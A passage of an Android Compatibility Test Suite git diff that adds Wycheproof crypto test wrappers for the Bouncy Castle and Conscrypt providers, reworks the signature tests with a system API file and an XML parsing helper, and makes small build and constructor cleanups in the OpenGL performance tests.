+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import com.android.org.bouncycastle.jce.provider.BouncyCastleProvider;
+import com.google.security.wycheproof.AesGcmTest;
+import com.google.security.wycheproof.BasicTest;
+import com.google.security.wycheproof.CipherInputStreamTest;
+import com.google.security.wycheproof.CipherOutputStreamTest;
+import com.google.security.wycheproof.DhTest;
+import com.google.security.wycheproof.DhiesTest;
+import com.google.security.wycheproof.DsaTest;
+import com.google.security.wycheproof.EcKeyTest;
+import com.google.security.wycheproof.EcdhTest;
+import com.google.security.wycheproof.EcdsaTest;
+import com.google.security.wycheproof.RsaEncryptionTest;
+import com.google.security.wycheproof.RsaKeyTest;
+import com.google.security.wycheproof.RsaSignatureTest;
+import com.google.security.wycheproof.TestUtil;
+import com.google.security.wycheproof.WycheproofRunner;
+import com.google.security.wycheproof.WycheproofRunner.Fast;
+import com.google.security.wycheproof.WycheproofRunner.Provider;
+import com.google.security.wycheproof.WycheproofRunner.ProviderType;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite.SuiteClasses;
+
+import java.security.Security;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Checks that our Bouncy Castle provider properly implements all its functionality.
+ */
+@RunWith(WycheproofRunner.class)
+@SuiteClasses({
+        AesGcmTest.class,
+        BasicTest.class,
+        CipherInputStreamTest.class,
+        CipherOutputStreamTest.class,
+        DhTest.class,
+        DhiesTest.class,
+        DsaTest.class,
+        EcKeyTest.class,
+        EcdhTest.class,
+        EcdsaTest.class,
+        RsaEncryptionTest.class,
+        RsaKeyTest.class,
+        RsaSignatureTest.class,
+})
+@Provider(ProviderType.BOUNCY_CASTLE)
+@Fast
+public final class BouncyCastleTest {
+
+    private static final List<java.security.Provider> previousProviders = new ArrayList<>();
+
+    @BeforeClass
+    public static void setUp() throws Exception {
+        previousProviders.clear();
+        previousProviders.addAll(Arrays.asList(Security.getProviders()));
+        TestUtil.installOnlyThisProvider(new BouncyCastleProvider());
+        Security.addProvider(new BouncyCastleSupportProvider());
+    }
+
+    @AfterClass
+    public static void tearDown() throws Exception {
+        for (java.security.Provider p : Security.getProviders()) {
+            Security.removeProvider(p.getName());
+        }
+        for (java.security.Provider p : previousProviders) {
+            Security.addProvider(p);
+        }
+    }
+}
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
new file mode 100644
index 0000000..bfcdda5
--- /dev/null
+++ b/tests/libcore/wycheproof/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofConscryptTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-core-test-runner \
+    wycheproof
+
+LOCAL_JAVA_LIBRARIES := conscrypt
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Include both the 32 and 64 bit versions of libjavacoretests,
+# where applicable.
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
new file mode 100644
index 0000000..765c677
--- /dev/null
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.conscrypt">
+    <uses-permission android:name="android.permission.INTERNET" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
+                     android:label="CTS Libcore Wycheproof Conscrypt test cases" />
+
+</manifest>
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
new file mode 100644
index 0000000..bab6eed
--- /dev/null
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Libcore Wycheproof Conscrypt test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!-- this has just the instrumentation which acts as the tests we want to run -->
+        <option name="test-file-name" value="CtsLibcoreWycheproofConscryptTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
+        <option name="package" value="android.libcore.cts.wycheproof.conscrypt" />
+        <!-- The individual test cases don't work unless they're run in the
+             context of one of the suites, so we have to limit the test
+             infrastructure to only running the test suites. -->
+        <option name="test-package" value="android.libcore.cts.wycheproof" />
+        <option name="instrumentation-arg" key="listener"
+                value="com.android.cts.runner.CtsTestRunListener" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/knownfailures.txt" />
+        <option name="runtime-hint" value="10m"/>
+    </test>
+</configuration>
diff --git a/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java b/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java
new file mode 100644
index 0000000..bee62fa
--- /dev/null
+++ b/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import com.android.org.conscrypt.OpenSSLProvider;
+import com.google.security.wycheproof.AesGcmTest;
+import com.google.security.wycheproof.BasicTest;
+import com.google.security.wycheproof.CipherInputStreamTest;
+import com.google.security.wycheproof.CipherOutputStreamTest;
+import com.google.security.wycheproof.EcKeyTest;
+import com.google.security.wycheproof.EcdhTest;
+import com.google.security.wycheproof.EcdsaTest;
+import com.google.security.wycheproof.RsaEncryptionTest;
+import com.google.security.wycheproof.RsaKeyTest;
+import com.google.security.wycheproof.RsaSignatureTest;
+import com.google.security.wycheproof.TestUtil;
+import com.google.security.wycheproof.WycheproofRunner;
+import com.google.security.wycheproof.WycheproofRunner.Fast;
+import com.google.security.wycheproof.WycheproofRunner.Provider;
+import com.google.security.wycheproof.WycheproofRunner.ProviderType;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite.SuiteClasses;
+
+import java.security.Security;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Checks that our Conscrypt provider properly implements all its functionality.
+ */
+@RunWith(WycheproofRunner.class)
+@SuiteClasses({
+        AesGcmTest.class,
+        BasicTest.class,
+        CipherInputStreamTest.class,
+        CipherOutputStreamTest.class,
+        EcKeyTest.class,
+        EcdhTest.class,
+        EcdsaTest.class,
+        RsaEncryptionTest.class,
+        RsaKeyTest.class,
+        RsaSignatureTest.class
+})
+@Provider(ProviderType.CONSCRYPT)
+@Fast
+public final class ConscryptTest {
+
+    private static final List<java.security.Provider> previousProviders = new ArrayList<>();
+
+    @BeforeClass
+    public static void setUp() throws Exception {
+        previousProviders.clear();
+        previousProviders.addAll(Arrays.asList(Security.getProviders()));
+        TestUtil.installOnlyThisProvider(new OpenSSLProvider());
+    }
+
+    @AfterClass
+    public static void tearDown() throws Exception {
+        for (java.security.Provider p : Security.getProviders()) {
+            Security.removeProvider(p.getName());
+        }
+        for (java.security.Provider p : previousProviders) {
+            Security.addProvider(p);
+        }
+    }
+}
diff --git a/tests/netlegacy22.api/Android.mk b/tests/netlegacy22.api/Android.mk
index 93f848b..3fca098 100644
--- a/tests/netlegacy22.api/Android.mk
+++ b/tests/netlegacy22.api/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SDK_VERSION := 22
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/tests/netlegacy22.permission/Android.mk b/tests/netlegacy22.permission/Android.mk
index 8f6f12e..d21cd676 100644
--- a/tests/netlegacy22.permission/Android.mk
+++ b/tests/netlegacy22.permission/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SDK_VERSION := 22
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/tests/openglperf2/jni/Android.mk b/tests/openglperf2/jni/Android.mk
index c2bb7a8..174375d 100644
--- a/tests/openglperf2/jni/Android.mk
+++ b/tests/openglperf2/jni/Android.mk
@@ -21,6 +21,8 @@
 # Needed in order to use fences for synchronization
 LOCAL_CFLAGS += -DEGL_EGLEXT_PROTOTYPES -funsigned-char
 
+LOCAL_CFLAGS += -Wno-unused-parameter
+
 # Get all cpp files but not hidden files
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
 
diff --git a/tests/openglperf2/jni/graphics/MeshNode.h b/tests/openglperf2/jni/graphics/MeshNode.h
index a02b6bd..c0a43b3 100644
--- a/tests/openglperf2/jni/graphics/MeshNode.h
+++ b/tests/openglperf2/jni/graphics/MeshNode.h
@@ -21,7 +21,7 @@
 
 class MeshNode: public SceneGraphNode {
 public:
-    MeshNode(const Mesh* mesh);
+    explicit MeshNode(const Mesh* mesh);
     virtual ~MeshNode() {};
 protected:
     virtual void before(Program& program, Matrix& model, Matrix& view, Matrix& projection) = 0;
diff --git a/tests/openglperf2/jni/graphics/PerspectiveProgram.h b/tests/openglperf2/jni/graphics/PerspectiveProgram.h
index 7792a3d..773552f 100644
--- a/tests/openglperf2/jni/graphics/PerspectiveProgram.h
+++ b/tests/openglperf2/jni/graphics/PerspectiveProgram.h
@@ -23,7 +23,7 @@
 
 class PerspectiveProgram: public Program {
 public:
-    PerspectiveProgram(GLuint programId);
+    explicit PerspectiveProgram(GLuint programId);
     virtual ~PerspectiveProgram() {};
     virtual void before(Matrix& model, Matrix& view, Matrix& projection);
 
diff --git a/tests/openglperf2/jni/graphics/Program.h b/tests/openglperf2/jni/graphics/Program.h
index 6161baf..86f1cf0 100644
--- a/tests/openglperf2/jni/graphics/Program.h
+++ b/tests/openglperf2/jni/graphics/Program.h
@@ -20,7 +20,7 @@
 
 class Program {
 public:
-    Program(GLuint programId);
+    explicit Program(GLuint programId);
     virtual ~Program() {};
     virtual void before(Matrix& model, Matrix& view, Matrix& projection);
     virtual void after(Matrix& model, Matrix& view, Matrix& projection);
diff --git a/tests/openglperf2/jni/graphics/ProgramNode.h b/tests/openglperf2/jni/graphics/ProgramNode.h
index fe69958..3f39ef2 100644
--- a/tests/openglperf2/jni/graphics/ProgramNode.h
+++ b/tests/openglperf2/jni/graphics/ProgramNode.h
@@ -20,7 +20,7 @@
 
 class ProgramNode: public SceneGraphNode {
 public:
-    ProgramNode(Program& program);
+    explicit ProgramNode(Program& program);
     virtual ~ProgramNode() {};
     void drawProgram(Matrix& model, Matrix& view, Matrix& projection);
 protected:
diff --git a/tests/openglperf2/jni/graphics/TransformationNode.h b/tests/openglperf2/jni/graphics/TransformationNode.h
index 04ba5c2..5ccb6a1 100644
--- a/tests/openglperf2/jni/graphics/TransformationNode.h
+++ b/tests/openglperf2/jni/graphics/TransformationNode.h
@@ -20,7 +20,7 @@
 
 class TransformationNode: public SceneGraphNode {
 public:
-    TransformationNode(Matrix* matrix);
+    explicit TransformationNode(Matrix* matrix);
     virtual ~TransformationNode();
 protected:
     virtual void before(Program& program, Matrix& model, Matrix& view,
diff --git a/tests/openglperf2/jni/reference/ReferenceRenderer.h b/tests/openglperf2/jni/reference/ReferenceRenderer.h
index f5c4b65..5bed530 100644
--- a/tests/openglperf2/jni/reference/ReferenceRenderer.h
+++ b/tests/openglperf2/jni/reference/ReferenceRenderer.h
@@ -21,7 +21,7 @@
 
 class ReferenceRenderer: public Renderer {
 public:
-    ReferenceRenderer(ANativeWindow* window);
+    explicit ReferenceRenderer(ANativeWindow* window);
     virtual ~ReferenceRenderer() {};
     bool setUp(int workload);
     bool tearDown();
diff --git a/tests/openglperf2/test/Android.mk b/tests/openglperf2/test/Android.mk
index e83e584..a9ec558 100644
--- a/tests/openglperf2/test/Android.mk
+++ b/tests/openglperf2/test/Android.mk
@@ -18,9 +18,9 @@
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
 LOCAL_SRC_FILES += ../jni/graphics/Matrix.cpp
 
-LOCAL_C_INCLUDES += external/gtest/include $(LOCAL_PATH)/../jni/graphics/
-LOCAL_STATIC_LIBRARIES := libgtest_host libgtest_main_host liblog
+LOCAL_C_INCLUDES += $(LOCAL_PATH)/../jni/graphics/
+LOCAL_STATIC_LIBRARIES := liblog
 LOCAL_LDFLAGS:= -g -lpthread
 LOCAL_MODULE_HOST_OS := linux
 LOCAL_MODULE:= cts_device_opengl_test
-include $(BUILD_HOST_EXECUTABLE)
+include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
index 419faa5..84be33e 100755
--- a/tests/sample/Android.mk
+++ b/tests/sample/Android.mk
@@ -25,7 +25,10 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/signature/Android.mk b/tests/signature/Android.mk
index 2e9f7de..440a698 100644
--- a/tests/signature/Android.mk
+++ b/tests/signature/Android.mk
@@ -25,12 +25,12 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-# For CTS v1
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_SDK_VERSION := current
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    android-support-test \
+    legacy-android-test
 
 include $(BUILD_CTS_PACKAGE)
 
@@ -40,7 +40,7 @@
 include $(CLEAR_VARS)
 
 # These files are for device-side only, so filter-out for host library
-LOCAL_DEVICE_ONLY_SOURCES := %/SignatureTest.java
+LOCAL_DEVICE_ONLY_SOURCES := %/SignatureTest.java %/IntentTest.java %/CurrentApi.java
 
 LOCAL_SRC_FILES := $(filter-out $(LOCAL_DEVICE_ONLY_SOURCES), $(call all-java-files-under, src))
 
diff --git a/tests/signature/AndroidTest.xml b/tests/signature/AndroidTest.xml
index e3561cc..930bcac 100644
--- a/tests/signature/AndroidTest.xml
+++ b/tests/signature/AndroidTest.xml
@@ -15,12 +15,21 @@
 -->
 <configuration description="Config for CTS Signature test cases">
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
+        <option name='run-command'
+            value='pm list packages | while read a; do dumpsys package ${a#"package:"} > /data/local/tmp/signature-test-packages/${a#"package:"}.txt; done' />
+        <option name="teardown-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSignatureTestCases.apk" />
diff --git a/tests/signature/OldAndroidTest.xml b/tests/signature/OldAndroidTest.xml
deleted file mode 100644
index b4338da..0000000
--- a/tests/signature/OldAndroidTest.xml
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Signature test cases">
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.cts.tradefed.targetprep.CtsFilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-</configuration>
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 4e30cce..d27a83b 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -34,9 +34,21 @@
 	@mkdir -p $(dir $@)
 	$(hide) $(APICHECK_COMMAND) -convert2xml $< $@
 
-# For CTS v1
-cts_api_xml_v1 := $(CTS_TESTCASES_OUT)/current.api
-$(cts_api_xml_v1):  $(LOCAL_BUILT_MODULE) | $(ACP)
-	$(call copy-file-to-new-target)
+include $(CLEAR_VARS)
 
-$(CTS_TESTCASES_OUT)/CtsSignatureTestCases.xml: $(cts_api_xml_v1)
+# current api, in XML format.
+# ============================================================
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-system-current-api
+LOCAL_MODULE_STEM := system-current.api
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_SYSTEM)/base_rules.mk
+$(LOCAL_BUILT_MODULE) : frameworks/base/api/system-current.txt | $(APICHECK)
+	@echo "Convert API file $@"
+	@mkdir -p $(dir $@)
+	$(hide) $(APICHECK_COMMAND) -convert2xml $< $@
diff --git a/tests/signature/src/android/signature/cts/CurrentApi.java b/tests/signature/src/android/signature/cts/CurrentApi.java
new file mode 100644
index 0000000..4c48f9f
--- /dev/null
+++ b/tests/signature/src/android/signature/cts/CurrentApi.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
+
+import java.lang.reflect.Modifier;
+
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Helper methods and constants used for parsing the current api file.
+ */
+class CurrentApi {
+
+    private CurrentApi() {}
+
+    static final String CURRENT_API_FILE =
+            "/data/local/tmp/signature-test/current.api";
+    static final String SYSTEM_CURRENT_API_FILE =
+            "/data/local/tmp/signature-test/system-current.api";
+
+    static final String TAG_ROOT = "api";
+    static final String TAG_PACKAGE = "package";
+    static final String TAG_CLASS = "class";
+    static final String TAG_INTERFACE = "interface";
+    static final String TAG_IMPLEMENTS = "implements";
+    static final String TAG_CONSTRUCTOR = "constructor";
+    static final String TAG_METHOD = "method";
+    static final String TAG_PARAM = "parameter";
+    static final String TAG_EXCEPTION = "exception";
+    static final String TAG_FIELD = "field";
+
+    static final String MODIFIER_ABSTRACT = "abstract";
+    static final String MODIFIER_FINAL = "final";
+    static final String MODIFIER_NATIVE = "native";
+    static final String MODIFIER_PRIVATE = "private";
+    static final String MODIFIER_PROTECTED = "protected";
+    static final String MODIFIER_PUBLIC = "public";
+    static final String MODIFIER_STATIC = "static";
+    static final String MODIFIER_SYNCHRONIZED = "synchronized";
+    static final String MODIFIER_TRANSIENT = "transient";
+    static final String MODIFIER_VOLATILE = "volatile";
+    static final String MODIFIER_VISIBILITY = "visibility";
+
+    static final String ATTRIBUTE_NAME = "name";
+    static final String ATTRIBUTE_VALUE = "value";
+    static final String ATTRIBUTE_EXTENDS = "extends";
+    static final String ATTRIBUTE_TYPE = "type";
+    static final String ATTRIBUTE_RETURN = "return";
+
+    /**
+     * Load field information from xml to memory.
+     *
+     * @param className of the class being examined which will be shown in error messages
+     * @param parser The XmlPullParser which carries the xml information.
+     * @return the new field
+     */
+    static JDiffField loadFieldInfo(String className, XmlPullParser parser) {
+        String fieldName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+        String fieldType = parser.getAttributeValue(null, ATTRIBUTE_TYPE);
+        int modifier = jdiffModifierToReflectionFormat(className, parser);
+        String value = parser.getAttributeValue(null, ATTRIBUTE_VALUE);
+        return new JDiffField(fieldName, fieldType, modifier, value);
+    }
+
+    /**
+     * Load method information from xml to memory.
+     *
+     * @param className of the class being examined which will be shown in error messages
+     * @param parser The XmlPullParser which carries the xml information.
+     * @return the newly loaded method.
+     */
+    static JDiffMethod loadMethodInfo(String className, XmlPullParser parser) {
+        String methodName = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+        String returnType = parser.getAttributeValue(null, ATTRIBUTE_RETURN);
+        int modifier = jdiffModifierToReflectionFormat(className, parser);
+        return new JDiffMethod(methodName, modifier, returnType);
+    }
+
+    /**
+     * Load constructor information from xml to memory.
+     *
+     * @param parser The XmlPullParser which carries the xml information.
+     * @param currentClass the current class being loaded.
+     * @return the new constructor
+     */
+    static JDiffConstructor loadConstructorInfo(
+                XmlPullParser parser, JDiffClassDescription currentClass) {
+        String name = currentClass.getClassName();
+        int modifier = jdiffModifierToReflectionFormat(name, parser);
+        return new JDiffConstructor(name, modifier);
+    }
+
+    /**
+     * Load class or interface information to memory.
+     *
+     * @param parser The XmlPullParser which carries the xml information.
+     * @param isInterface true if the current class is an interface, otherwise is false.
+     * @param pkg the name of the java package this class can be found in.
+     * @return the new class description.
+     */
+    static JDiffClassDescription loadClassInfo(
+            XmlPullParser parser, boolean isInterface, String pkg,
+            ResultObserver resultObserver) {
+        String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+        JDiffClassDescription currentClass;
+        if (resultObserver != null) {
+            currentClass = new JDiffClassDescription(pkg, className, resultObserver);
+        } else {
+            currentClass = new JDiffClassDescription(pkg, className);
+        }
+
+        currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
+        currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
+                             JDiffClassDescription.JDiffType.CLASS);
+        currentClass.setExtendsClass(parser.getAttributeValue(null, ATTRIBUTE_EXTENDS));
+        return currentClass;
+    }
+
+    /**
+     * Convert string modifier to int modifier.
+     *
+     * @param name of the class/method/field being examined which will be shown in error messages
+     * @param key modifier name
+     * @param value modifier value
+     * @return converted modifier value
+     */
+    static int modifierDescriptionToReflectedType(String name, String key, String value) {
+        if (key.equals(MODIFIER_ABSTRACT)) {
+            return value.equals("true") ? Modifier.ABSTRACT : 0;
+        } else if (key.equals(MODIFIER_FINAL)) {
+            return value.equals("true") ? Modifier.FINAL : 0;
+        } else if (key.equals(MODIFIER_NATIVE)) {
+            return value.equals("true") ? Modifier.NATIVE : 0;
+        } else if (key.equals(MODIFIER_STATIC)) {
+            return value.equals("true") ? Modifier.STATIC : 0;
+        } else if (key.equals(MODIFIER_SYNCHRONIZED)) {
+            return value.equals("true") ? Modifier.SYNCHRONIZED : 0;
+        } else if (key.equals(MODIFIER_TRANSIENT)) {
+            return value.equals("true") ? Modifier.TRANSIENT : 0;
+        } else if (key.equals(MODIFIER_VOLATILE)) {
+            return value.equals("true") ? Modifier.VOLATILE : 0;
+        } else if (key.equals(MODIFIER_VISIBILITY)) {
+            if (value.equals(MODIFIER_PRIVATE)) {
+                throw new RuntimeException("Private visibility found in API spec: " + name);
+            } else if (value.equals(MODIFIER_PROTECTED)) {
+                return Modifier.PROTECTED;
+            } else if (value.equals(MODIFIER_PUBLIC)) {
+                return Modifier.PUBLIC;
+            } else if ("".equals(value)) {
+                // If the visibility is "", it means it has no modifier.
+                // which is package private. We should return 0 for this modifier.
+                return 0;
+            } else {
+                throw new RuntimeException("Unknown modifier found in API spec: " + value);
+            }
+        }
+        return 0;
+    }
+
+    /**
+     * Transfer string modifier to int one.
+     *
+     * @param name of the class/method/field being examined which will be shown in error messages
+     * @param parser XML resource parser
+     * @return converted modifier
+     */
+    static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser){
+        int modifier = 0;
+        for (int i = 0;i < parser.getAttributeCount();i++) {
+            modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
+                    parser.getAttributeValue(i));
+        }
+        return modifier;
+    }
+}
diff --git a/tests/signature/src/android/signature/cts/IntentTest.java b/tests/signature/src/android/signature/cts/IntentTest.java
new file mode 100644
index 0000000..c0d3e84
--- /dev/null
+++ b/tests/signature/src/android/signature/cts/IntentTest.java
@@ -0,0 +1,276 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
+import static android.signature.cts.CurrentApi.TAG_ROOT;
+import static android.signature.cts.CurrentApi.TAG_PACKAGE;
+import static android.signature.cts.CurrentApi.TAG_CLASS;
+import static android.signature.cts.CurrentApi.TAG_INTERFACE;
+import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
